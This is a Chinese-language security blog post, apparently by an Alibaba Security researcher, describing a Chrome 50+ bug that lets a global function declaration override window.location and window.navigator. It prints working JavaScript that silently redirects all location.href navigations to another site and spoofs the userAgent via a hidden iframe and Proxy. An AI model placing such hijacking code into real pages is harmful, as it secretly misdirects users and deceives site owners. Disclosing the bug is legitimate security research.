Chrome出了個小bug:論如何在Chrome下劫持原生只讀對象


Chrome出了個小bug:論如何在Chrome下劫持原生只讀對象

概述

眾所周知,雖然JavaScript是個很靈活的語言,瀏覽器里很多原生的方法都可以隨意覆蓋或者重寫,比如alert。但是為了保證網頁的安全性和網頁制作者的一定控制權,有些瀏覽器對象是無法更改的,比如“window.location”對象,或者對它們的更改是無效的,比如”window.navigator”對象。然而,最近我發現Chrome出現了一個小“bug”,在Chrome 50+ 版本中,通過一些技巧可以輕易地重寫這些對象,從而讓惡意代碼可以控制網頁編寫者的跳轉行為。

實現window.location

location對象是個很特殊的瀏覽器內置對象,一般情況下是無法修改的,為了尋找是否有一種方法可以做到這件事,我做了一些嘗試並得出了相應的結論:

1.無法修改location對象,直接修改會導致頁面跳轉:

	window.location = {};

2.無法通過Object.defineProperty來修改屬性的configurable和writable,因此無法使用Object.watch及各種polyfill。

	Object.defineProperty(location,"href",{"configurable": true}); 

3.可以用Proxy對象代理location,但因為原因1,無法用locationProxy重寫location對象。

	var locationProxy = new Proxy(location, {
      	set: function (target, key, value, receiver) {
        	console.log(target, key, value, receiver);
	}});

4.可以freeze,使得對location.href賦值失效。然而這會影響到正常流程,因為光這樣用戶的代碼邏輯就無法走通,劫持就失去了意義。

	Object.freeze(window.location)
	Object.freeze(window)

看上去似乎沒有任何辦法能夠做到了?然而山重水復疑無路,柳暗花明又一村。在嘗試中我發現Chrome瀏覽器有個bug:在全局域里使用和location同名的函數聲明,在函數自動提升后可以覆蓋掉瀏覽器本身的window.location對象,沒錯,就是這樣一行簡單的代碼:

	function location(){}

這樣就可以起到重寫並hook掉location的作用。而這個方法也只有在Chrome下有用,其它瀏覽器(如Firefox或者Edge)會提示 TypeError: can't redefine non-configurable property location

那么既然拿到了修改的方法,應該如何合理地劫持它呢? 首先需要備份一下location對象本身,但由於我們的關鍵函數 **function location(){} ** 本身是需要在全局域中執行,並且會自動提升,因此無法直接存儲location對象。但是很多人都忽略的一點window.document對象中還有一份location對象,而這個對象,在目前瀏覽器中絕大多數情況下都和window.location沒有區別,甚至就是對window.location的一份拷貝或者指針。於是我們可以使用window.document.location先備份一下location對象,然后修改之。

	var _location = window.document.location;

之后需要做的事情就是在劫持某些操作的時候,又保證正常的操作不會出問題,否則很容易被發現。我們可以使用ES5中的一些魔法方法,比如__proto__和__defineSetter__來實現我們需要的效果,比如我們對於location.href 的賦值操作,攔截並轉向freebuf:

	location.__proto__ = _location;

	location.__defineSetter__('href', function(url) {
	  _location.href = "http://www.freebuf.com";
	});

	location.__defineGetter__('href', function(url) {
	  return _location.href;
	});

或者使用ES6的Proxy代理,也同樣可以實現相同功能:

	window.location = new Proxy(_location, {
		set: function(target, prop, value, receiver){
			if (prop !== 'href'){
				Reflect.set(target, prop, value, receiver);
			}else{
				target.href = "http://www.freebuf.com";
			}
		}
	})

最后,我們再將location對象設置為只讀,防止輕易被修改

	Object.defineProperty(window,"location",{"writable": false});

這樣就實現了一個暗藏玄機的window.location,偷偷將頁面里所有通過location.href做的跳轉改到了目標網站(freebuf)。

實現window.navigator

就像我開頭說的一樣,不止是location,navigator對象我們也可以通過這種方法偷偷篡改,讓網站得到的瀏覽器信息(如userAgent)失真,要注意的重點就是如何找到一種方法保存原來的navigator對象,這里我們使用新建一個iframe來實現:

	var _navigator;
	
	function navigator(){}

	var frame = document.createElement('iframe');
	frame.width = frame.height = 0;
	frame.style.display = "none";
	document.lastChild.appendChild(frame);

	_navigator = window.frames[0].window.navigator;

	window.navigator = new Proxy(_navigator, {
		set: function(target, prop, value, receiver){
			return Reflect.set(target, prop, value, receiver);
		},
		get: function(target, prop, receiver){
			if (prop === 'userAgent'){
				return "this is a faked userAgent";
			}
			return target[prop];
		}
	})

這段代碼實現了讓用戶訪問window.navigator.userAgemt時返回了一個假UA串。

總結

這個bug在Chrome 50至最新版內核中均存在,包括但不限於Chrome和各種使用Chromium內核的瀏覽器(Opera, UC)等。雖然由於局限性,獨立存在的意義不大,但是在一些惡意腳本里還是存在一些利用的價值。

作者:負羽@阿里安全,更多安全類文章,請訪問阿里聚安全博客


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM